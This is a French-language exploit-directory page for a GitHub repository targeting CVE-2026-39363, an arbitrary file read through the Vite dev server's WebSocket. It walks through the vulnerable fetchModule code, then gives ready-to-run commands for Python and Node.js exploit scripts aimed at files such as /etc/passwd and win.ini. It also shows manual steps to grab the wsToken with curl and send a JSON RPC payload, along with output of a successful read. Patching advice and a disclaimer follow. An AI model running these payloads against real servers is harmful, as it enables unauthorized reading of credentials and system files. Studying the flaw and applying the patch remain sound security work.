Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-39363 — Exploit pour CVE-2026-39363, une vulnérabilité de lecture arbitraire de fichiers via WebSocket du serveur de développement Vite, avec des scripts Python et Node.js pour l'exploitation automatisée et des étapes manuelles. | Kitploit
Outils/GitHubGitHub/firebasky/cve-2026-39363
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'Intrusion
GitHubfirebasky/cve-2026-39363

CVE-2026-39363

Exploit pour CVE-2026-39363, une vulnérabilité de lecture arbitraire de fichiers via WebSocket du serveur de développement Vite, avec des scripts Python et Node.js pour l'exploitation automatisée et des étapes manuelles.

Voir le dépôt
7il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-39363

Vulnérabilité de lecture arbitraire de fichiers via le WebSocket du serveur de développement Vite

Aperçu de la vulnérabilité

AttributInformations
ID CVECVE-2026-39363
ID GHSAGHSA-p9ff-h696-f583
Type de vulnérabilitéLecture arbitraire de fichiers (Arbitrary File Read)
Composant affectéServeur de développement Vite
Versions affectéesVite < 6.2.3, < 6.1.2, < 6.0.12, < 5.4.15, < 4.5.10
Score CVSSÉlevé
Version corrigéeVite >= 6.2.3

Principe de la vulnérabilité

Problème principal

L'appel RPC fetchModule du WebSocket du serveur de développement Vite présente une vulnérabilité de contournement des contrôles de sécurité.

Audit du code

Emplacement du code vulnérable : vite/dist/node/chunks/dep-B0fRCRkQ.js:52065-52070

root@kitploit:~
async function fetchModule(environment, url, importer, options = {}) {
  // ...
  const isFileUrl = url.startsWith("file://");

  // Point vulnérable clé : lorsque l'URL est file:// ou qu'il n'y a pas d'importer
  // resolveId est appelé directement, sans vérification isFileServingAllowed !
  if (isFileUrl || !importer) {
    const resolved = await environment.pluginContainer.resolveId(url);
    if (!resolved) {
      throw new Error(`[vite] cannot find entry point module '${url}'.`);
    }
    url = normalizeResolvedIdToUrl(environment, url, resolved);
  }
  // ...traitement continu et retour du contenu du fichier
}

Comparaison des chemins de requête

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│              Chemin de requête HTTP (avec contrôle de sécurité)  │
├─────────────────────────────────────────────────────────────────┤
│  HTTP GET /@fs/C:/secret.txt                                    │
│         │                                                       │
│         ▼                                                       │
│  ensureServingAccess()                                          │
│         │                                                       │
│         ▼                                                       │
│  isFileServingAllowed()                                         │
│         │                                                       │
│         ▼                                                       │
│  isFileLoadingAllowed() ────> BLOQUÉ                            │
│  (vérifie server.fs.allow)                                      │
└─────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────┐
│            Chemin de requête WebSocket (contournement)           │
├─────────────────────────────────────────────────────────────────┤
│  WebSocket: fetchModule("file://C:/secret.txt")                 │
│         │                                                       │
│         ▼                                                       │
│  fetchModule()                                                  │
│  (isFileUrl || !importer) ───> resolveId direct                 │
│         │                                                       │
│         ▼                                                       │
│  loadAndTransform()                                             │
│  isFileLoadingAllowed() ────> dépend de la configuration fs.allow│
│         │                                                       │
│         ▼                                                       │
│  Retour du contenu du fichier en cas de succès (si fs.allow le permet)│
└─────────────────────────────────────────────────────────────────┘

Constatations clés

  1. Chemin HTTP : passe par plusieurs niveaux de vérification ensureServingAccess → isFileServingAllowed → isFileLoadingAllowed

  2. Chemin WebSocket :

    • La fonction fetchModule n'appelle pas isFileServingAllowed
    • La deuxième ligne de défense isFileLoadingAllowed dans loadAndTransform reste active
    • Mais si la configuration server.fs.allow est permissive, des fichiers arbitraires peuvent être lus

Conditions d'exploitation

  1. Serveur de développement Vite exposé sur le réseau (par exemple avec --host)
  2. Configuration server.fs.allow permissive :
    • fs.allow: ['..'] - permet de lire les répertoires parents
    • fs.allow: ['C:/'] - permet de lire tout le disque C
    • fs.strict: false - aucune restriction
  3. Obtenir le wsToken (en accédant à /@vite/client)

Mise en place de l'environnement

root@kitploit:~
# Cloner le dépôt
git clone [email protected]:Firebasky/CVE-2026-39363.git
cd CVE-2026-39363

# Installer les dépendances
npm install

# Démarrer le serveur de développement Vite (avec configuration permissive pour démontrer la vulnérabilité)
npm run dev

Exploitation de la vulnérabilité

Méthode 1 : avec un script Python

root@kitploit:~
# Utilisation de base (détection automatique du port)
python exp.py -t localhost -p 5173 -f "C:/Windows/win.ini"

# Lire un fichier hors du projet
python exp.py -t localhost -p 5173 -f "E:/secret.txt"

# Spécifier un token
python exp.py -t localhost -p 5173 -f "/etc/passwd" --token "your_token"

Méthode 2 : avec le POC Node.js

root@kitploit:~
# Obtenir le wsToken
curl -s "http://localhost:5173/@vite/client" | grep -o 'wsToken = "[^"]*"'

# Exécuter le POC
node poc.js localhost 5173 "C:/Windows/win.ini" "your_token"

Étapes d'exploitation manuelle

  1. Obtenir le jeton WebSocket :
root@kitploit:~
curl -s "http://target:5173/@vite/client" | grep wsToken
  1. Connexion WebSocket :
root@kitploit:~
const ws = new WebSocket('ws://target:5173?token=TOKEN', 'vite-hmr');
  1. Envoyer le payload :
root@kitploit:~
{
  "type": "custom",
  "event": "vite:invoke",
  "data": {
    "id": "invoke_0",
    "name": "fetchModule",
    "data": ["file:///C:/Windows/win.ini"]
  }
}

Démonstration

root@kitploit:~
============================================================
CVE-2026-39363 POC - Vite WebSocket Arbitrary File Read
============================================================
Target: ws://localhost:5173?token=6zKw8sjZ5KKF
File to read: C:/Windows/win.ini

[*] WebSocket connected successfully
[+] Server confirmed WebSocket connection
[*] Sending RPC: fetchModule(["file://C:/Windows/win.ini"])

============================================================
[+] SUCCESS! Arbitrary file read achieved!
============================================================
File path: C:/Windows/win.ini
------------------------------------------------------------
[+] File content:
------------------------------------------------------------
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1

============================================================

Structure des fichiers

root@kitploit:~
CVE-2026-39363/
├── README.md           # Document d'analyse de la vulnérabilité
├── exp.py              # Script d'exploitation Python
├── poc.js              # POC Node.js
├── vite.config.js      # Fichier de configuration Vite (pour la démonstration)
├── package.json        # Configuration du projet
├── src/                # Répertoire du code source
│   ├── main.js
│   ├── counter.js
│   └── style.css
├── public/             # Ressources statiques
└── index.html          # HTML d'entrée

Recommandations de correctif

1. Mettre à jour Vite

root@kitploit:~
npm update vite
# ou
npm install vite@latest

2. Restreindre server.fs.allow

root@kitploit:~
// vite.config.js
export default defineConfig({
  server: {
    fs: {
      strict: true,
      allow: ['.']  // autoriser uniquement le répertoire racine du projet
    }
  }
})

3. Ne pas exposer le serveur de développement

  • Ne pas exécuter le serveur de développement en production
  • Éviter d'utiliser --host pour exposer le service
  • Utiliser un pare-feu pour restreindre l'accès

Références

  • GHSA-p9ff-h696-f583
  • CVE-2026-39363
  • Documentation Vite

Avertissement

Ce projet est destiné uniquement à des fins de recherche en sécurité et d'éducation. N'utilisez pas ce code d'exploitation pour des activités illégales. Avant de tester avec ce code, assurez-vous d'avoir obtenu l'autorisation explicite du propriétaire du système cible.

Licence

Licence MIT

Télécharger l’outil